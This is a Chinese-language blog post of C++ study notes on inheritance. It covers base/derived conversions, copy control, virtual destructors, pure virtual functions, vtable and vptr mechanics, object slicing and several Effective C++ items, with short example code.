<p>《基类类型和派生类类型之间的转换》<br>1.概述<br>对于指针和引用来说，可以进行派生类到基类的自动转换，而没有基类到派生类之间的自动转换。但对于对象来说，编译器不会自动将派生类对象转换为基类类型的对象，虽然我们可以用一个派生类的对象给一个基类对象初始化或赋值。<br>2.引用转换不同于对象转换<br>设想一个接受基类引用的函数，如果传递给它一个派生类的对象，这里发生的仅仅是一个绑定，将一个基类引用绑定到一个派生类对象上，派生类对象仍然是派生类类型的，没有改变。<br>如果这个函数接受的是基类对象而非引用，再传递给它一个派生类对象，则该派生类的基类部分会被拷贝给形参。<br>后者是用派生类对象给基类对象初始化或赋值，实际上是调用函数――构造函数和赋值操作符。因为基类的拷贝构造函数和赋值操作符都以基类对象的引用为参数，而派生类对象的引用是可以自动转换为基类对象的引用的，因此，用派生类对象给基类对象初始化和赋值是可以实现的。<br>也就是说，当需要将一个派生类对象转换为一个基类对象时，实际发生的是：<br>将此派生类对象转换成一个基类对象的引用用来调用拷贝构造函数和赋值操作符，生成一个基类对象。一旦生成，得到的就是基类对象。相当于在初始化和赋值过程中，派生类对象的派生类部分被切掉了。<br>派生类到基类对象的转换能被那些有访问基类public成员权限的客户访问。派生类本身和其友元肯定可以，至于派生类的普通用户和下层派生类能否访问就要看派生类继承基类时的派生方式了。<br>3.基类到派生类的转换<br>没有从基类到派生类自动转换的办法，即使这个基类对象或引用实际绑定了一个派生类对象也不行。如果实际情况中知道这种转换是安全的，可以使用static_cast或者dynamic_cast进行。<br>《不会自动继承的成员函数》<br>构造函数、析构函数和operator=不会被自动继承。如果我们自己不在派生类中定义这些成员函数的话，编译器就会用将基类和各成员变量对应的成员函数组合的方式为我们提供这些函数，当然对于构造函数，编译器只能提供缺省构造函数和拷贝构造函数，对于基类中的其它版本，编译器无能为力。同样，编译器也只能通过组合的方式提供作用于相同类型的operator=，而对于基类中的其它版本无能为力。</p>
<p>《构造函数与复制控制》<br>受继承关系的影响，每个派生类构造函数除了要初始化自己的数据成员外，还要初始化从基类继承来的数据成员。<br>如果不提供构造函数，编译器同样会提供缺省的构造函数给派生类，与非派生类缺省构造函数不同的是，此缺省构造函数会调用基类的缺省构造函数来初始化基类部分的数据成员。<br>如果自定义派生类的缺省构造函数，并且在构造函数定义内没有对基类部分的对象进行初始化动作，那么调用此构造函数仍然会自动调用基类的构造函数来初始化基类部分的数据成员。<br>可以在派生类构造函数的定义中为基类构造函数传递实参，做这项工作需要在初始化列表中完成，而不能直接在函数体内完成。<br>如果派生类要定义自己的拷贝构造函数，它最好（在初始化列表中）显式地调用基类的拷贝构造函数。可以为基类的拷贝构造函数传递派生类拷贝构造函数收到的派生类对象引用作为参数，它会自动被转换成一个基类对象引用用以调用基类的拷贝构造函数。如果不显式调用基类的拷贝构造函数，基类的缺省构造函数将被调用，产生奇怪的效果：新构造出的派生类对象的基类部分是缺省初始化的，而其它部分却是拷贝初始化的。<br>同样，派生类的operator=也应如此定义。<br>析构函数则只需要负责自己的部分，编译器会保证所有层次的析构函数被调用。</p>
<p>《为什么基类的析构函数应该是虚函数？》<br>因为一个基类指针可以指向基类对象也可以指向派生类对象。而销毁这个指针的动作会导致该指针静态类型的析构函数被调用。如果该指针的静态类型与动态类型不符，那么就会导致未定义行为。即，销毁一个指向派生类对象的基类指针，导致调用基类析构函数去析构一个派生类对象这样的未定义行为。<br>因此，基类的析构函数应该定义为虚函数，这样在销毁基类指针时，调用哪个析构函数可以根据指针的动态类型来确定。</p>
<p>《函数调用所遵循的四个步骤》<br>1.首先确定进行函数调用的对象、引用或指针的静态类型。<br>2.在该类中查找函数，如果找不到，就在直接基类中查找，如此循着类的继承链往上找，直到找到该函数或者查找完最后一个类。如果不能在类或其相关基类中找到该名字，则调用是错误的。<br>3.一旦找到了该名字，就进行常规类型检查，查看根据找到的定义，该函数调用是否合法。<br>4.假定函数调用合法，编译器就生成代码。如果函数是虚函数且通过引用或指针调用，则编译器生成代码以确定根据对象的动态类型运行哪个函数版本，否则，编译器生成代码直接调用函数。</p>
<p>《纯虚函数》<br>可能我们会想定义这么一个类，只希望其它类从它继承，而不希望实例化该类的任何对象，那么应该将它定义为一个抽象基类。<br>含有或继承（即没有重新定义）一个或多个纯虚函数的类叫做抽象基类，抽象基类无法实例化。<br>纯虚函数的定义方式是在参数列表后面直接写&#8220;=0&#8221;：<br>double net_price(std::size_t) const = 0;<br>单纯继承抽象基类得到的仍然是抽象基类，只有将所有纯虚函数重新定义后才不是抽象基类。<br>当定义一个纯虚函数时，相当于告诉编译器在虚函数表中为该函数留一个位置而不保存任何地址，这样就得到一个有不完整虚函数表的类，这种类就是抽象基类。对于虚函数表不完整的类，编译器阻止它实例化。同样还会阻止可能发生的对象切片使抽象积累的对象被按值传递到函数内部。<br>纯虚函数也是可以给出定义的，直接给出函数体即可。允许这样做的目的是，也许各个派生类中对该纯虚函数的覆盖都会用到同一段代码，这样可以将这段代码作为基类中该纯虚函数的定义，然后在各个覆盖版本中显式调用它即可。</p>
<p>《向上映射》<br>可以将基类的指针和引用绑定到派生类对象上，但是要求派生方式为public，否则无法绑定，例程：<br>class A{};<br>class B:public A{};<br>class C:protected A{};<br>class D:private A{};</p>
<p>void fun(A&amp;){}</p>
<p>int main()<br>{<br>?B b;<br>?C c;<br>?D d;<br>?fun(b);??//ok<br>?//fun(c);?//!error<br>?//fun(d);?//!error<br>?A* pa;<br>?pa = &amp;b;?//ok<br>?//pa = &amp;c;?//!error<br>?//pa = &amp;d;?//!error<br>}<br>为什么？</p>
<p>《C++如何实现晚捆绑》<br>对于每一个有虚函数的类，编译器为它维护一个单独的虚函数表，称为VTABLE，不管该类实例化了多少个对象，虚函数表都只有一个，虚函数表里存放的是该类所有的虚函数的地址。对于有虚函数的类的对象，编译器在对象结构中（通常是开头）秘密插入一个指针，称为虚指针――VPTR，因此其它结构两个相同的类，一个含有虚函数，一个不含虚函数，那么后者的sizeof比前者大4个字节――一个void*指针的大小。此虚指针存储的是该对象对应的类的虚函数表。当利用基类的地址或引用绑定某基类或派生类对象而调用虚函数时，编译器查看该对象的虚指针，从而得到该对象的类型（实际是得到虚函数表的位置），从而在函数调用的地方插入虚函数表和相对位置来定位要调用的函数（非虚函数的调用是直接插入对函数的汇编CALL的），完成函数调用的晚绑定。<br>在一个派生体系中，各个类的虚函数表中各函数指针的相对顺序是固定的，父类虚函数在前，子类新增的虚函数在后。<br>在调用任何虚函数之前安装虚函数表指针是很重要的，安装VPTR的工作在构造函数中进行。</p>
<p>《构造函数和虚指针》<br>构造函数是安装虚指针的地方，而对于派生体系中的一个对象而言，它的初始化会导致该体系中从根到它所在层次的所有相关构造函数都被调用，而每个构造函数都会做一次初始化虚指针的工作，将该对象虚指针指向该构造函数所在类的虚函数表，而下一层次的构造函数会再次给虚指针赋值以覆盖它为当前类的虚函数表，因此，该对象的VPTR状态是由最后被调用的构造函数所确定的。<br>在一个个构造函数被依次调用的过程中，VPTR始终指向的是此构造函数对应类的VTABLE，因此在构造函数中调用虚函数，将屏蔽虚机制而直接调用本地版本。<br>实际上，析构函数中也屏蔽虚机制，调用虚函数的本地版本。<br>构造函数和析构函数中，虚机制被屏蔽的另一个容易理解的原因是，在构造函数和析构函数被调用的过程中，对象是不完整的，可能虚机制会导致虚函数操作还未产生的成员。<br>《对象切片》<br>按传值的方式将派生类对象传递给基类对象的形参，会发生对象切片，对象切片是安全的，得到的是地地道道的基类对象，无论数据成员还是成员函数都是基类的。因为按值传递时会调用拷贝构造函数，所以切片得到的基类对象有机会在拷贝构造函数中将自己的VPTR设置为正确地指向基类的VTABLE。</p>
<p>《Notes》<br>1.基类必须是定义过的类，而不能是只声明过的类。<br>2.派生类可以做基类继续被其它派生类继承。<br>3.如果只声明派生类而不定义它，那么不能写出派生列表。<br>4.虚函数也可以有默认实参，但是需要注意的是，如果使用指针或引用来调用虚函数，默认实参所取的值与指针和引用类型相关，而不取决于动态绑定时实际绑定的对象类型。<br>5.友元属性不能被继承，基类的友元不是派生类的友元；基类是友元，派生类也不会成为友元。<br>6.即使被继承，在继承层次中，static成员仍然只有一份实例。访问控制同普通成员。<br>7.一旦你开始定义派生类的拷贝构造函数和operator=，编译器就假定你知道自己在做什么，就不会再为你自动调用基类版本的拷贝构造函数和operator=了，而如果你不定义派生类的拷贝构造函数和operator=的话，编译器是会在提供组合版本时为你调用的。因此，定义派生类的拷贝构造函数和operator=时，应显式地调用基类的拷贝构造函数和operator=，否则将默认调用基类的缺省构造函数，而基类的operator=将不会被调用。<br>8.static成员函数不能为virtual。<br>9.派生类的构造函数只能初始化自己的直接基类。<br>10.派生类构造函数不能初始化基类的成员且不应该对基类成员赋值。如果那些成员为 public 或 protected，派生构造函数可以在构造函数函数体中给基类成员赋值，但是，这样做会违反基类的接口。派生类应通过使用基类构造函数尊重基类的初始化意图，而不是在派生类构造函数函数体中对这些成员赋值。<br>11.对于一个指向派生类对象的基类指针：<br>B* pb = &amp;d;<br>来说，<br>pb-&gt;f();<br>会导致多态调用D::f()，然而，如果指定类名：<br>pb-&gt;B::f();<br>便可以屏蔽多态，调用B::f()。<br>12.如果D是从B以private方式派生，那么就不能用D对象给B指针或引用赋值，因为D对象中的B部分对于D对象是不可访问的，而如此赋值的目的就是访问这些部分，所以编译器阻止，但如果如下方式赋值：<br>B* pb = (B*) &amp;d;<br>就可以，就像B是从D以public方式派生来的一样。<br>13.由于构造和析构过程中对象类型的不确定性，编译器认为在构造和析构的过程中对象的类型是变化的。如果在构造函数和析构函数内调用虚函数，则虚函数的版本依构造函数和析构函数的类型而定，而不再依据对象的具体类型。<br>14.基类指针引用虽然可以指向派生类对象，但只能通过它们访问对象的基类部分。对象指针和引用的静态类型决定了对象的行为。<br>15.派生类的成员名字将屏蔽基类中的成员名字，因为派生类的名字空间嵌套在基类中，编译器先在派生类中查找该名字，一旦找到，就不再继续寻找，如果没找到，再到基类中找。因此，如果基类和派生类都定义了相同名字的成员函数，但是参数表不同。通过派生类对象调用该函数，但是传递符合基类版本的参数的话，会造成错误，因为编译器在派生类中找到同名函数后就不再继续查找了，而这个函数是不能接收基类版本函数的参数的。相似情况也适用于局部作用于中声明的函数和全局作用域中定义的函数之间的关系。<br>16.如果基类中的成员函数有多个重载版本，那么要想通过派生类类型调用所有这些版本，要么一个都不能重定义，要么就要全部重定义。如果只有一个版本需要重定义，而其它版本想要直接使用基类版本的话，则应该使用using声明说明基类该成员函数所有版本可用（因为using声明不说明参数表），然后重定义所需版本。<br>17.protected继承只是为了语言的完整性，private继承还有些许功能，最常用的应该是public继承。<br>18.选择继承还是组合技术的一个重要依据是两者关系是is-a还是has-a，另外，是否需要向上映射。<br>19.编译器会在构造函数的头部秘密插入能够设置VPTR的代码。<br>《Effective C++》<br>《条款32――确定你的public塑模出is-a关系》<br>public继承应该用在派生类和基类之间存在&#8220;is-a&#8221;关系的情况。适用于base-classes身上的每一件事情一定也适用于derived-classes身上，因为每个derived class对象也都是一个base class对象。编译器可以完成从派生类对象到基类对象的各种转换（指针，引用，值传递）。<br>《条款33――避免遮掩继承而来的名称》<br>通常，在public继承下，应该继承基类的所有成员函数，而不能重定义以对其遮掩，因为这违反public塑模出的is-a关系。但是，在private继承下这是有意义的。这时重新定义基类函数会造成基类中所有版本的函数都被遮掩，要让基类函数在派生类中重见天日，可以使用using声明或者转交函数，在转交函数内部显示调用基类的函数。<br>《条款34――区分接口继承和实现继承》<br>public继承表面是is-a的关系，所以在public继承下，派生类总是继承基类的接口，但是基类的成员函数属性的不同，代表了它所希望派生类去继承它的方式。<br>基类的函数可以有三种属性：<br>1.non-virtual函数――希望派生类以实现继承的方式继承，即强制性指定了实现方式，不希望派生类对其重新定义――条款33。<br>2.common-virtual函数――希望派生类继承此接口，并且具体实现，但是提供了一份缺省实现供不需具体实现的派生类使用。<br>3.pure-virtual函数――只希望派生类继承此接口，具体实现希望派生类自己定义，这类函数显示的是派生类的特性超越继承自基类的共性。<br>《条款36――绝不重新定义继承而来的non-virtual函数》<br>原因见条款32、33、34。<br>《条款37――绝不重新定义继承而来的缺省参数值》<br>因为我们已经达成共识，不会重新定义继承来的non-virtual函数――条款36，因此这里讨论的就是不要重新定义继承来的virtual函数的缺省参数值。原因很明白，virtual函数实行动态绑定，而缺省参数值却是静态绑定。所以如果重新定义了继承来的virtual函数的缺省参数值的话就可能导致这样的奇怪行为――用基类版本的缺省参数值调用派生类版本的函数。<br>《条款38――通过复合塑模出has-a或&#8220;根据某物实现出&#8221;》<br>复合――即将某类的一个对象作为新类的一个成员。复合技术和继承有些许相似之处，都是用旧类生成新类。前文提到，public继承代表的派生类和基类关系是is-a，而复合代表的新类和旧类关系有两种――has-a（应用域）和&#8220;根据某物实现出&#8221;（实现域）。比如一个Person有一个PhoneNumber，一个set用一个list实现。</p>
<img src ="http://www.cppblog.com/superKiki/aggbug/114184.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/superKiki/" target="_blank">superKiki</a> 2010-05-02 18:05 <a href="http://www.cppblog.com/superKiki/articles/114184.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>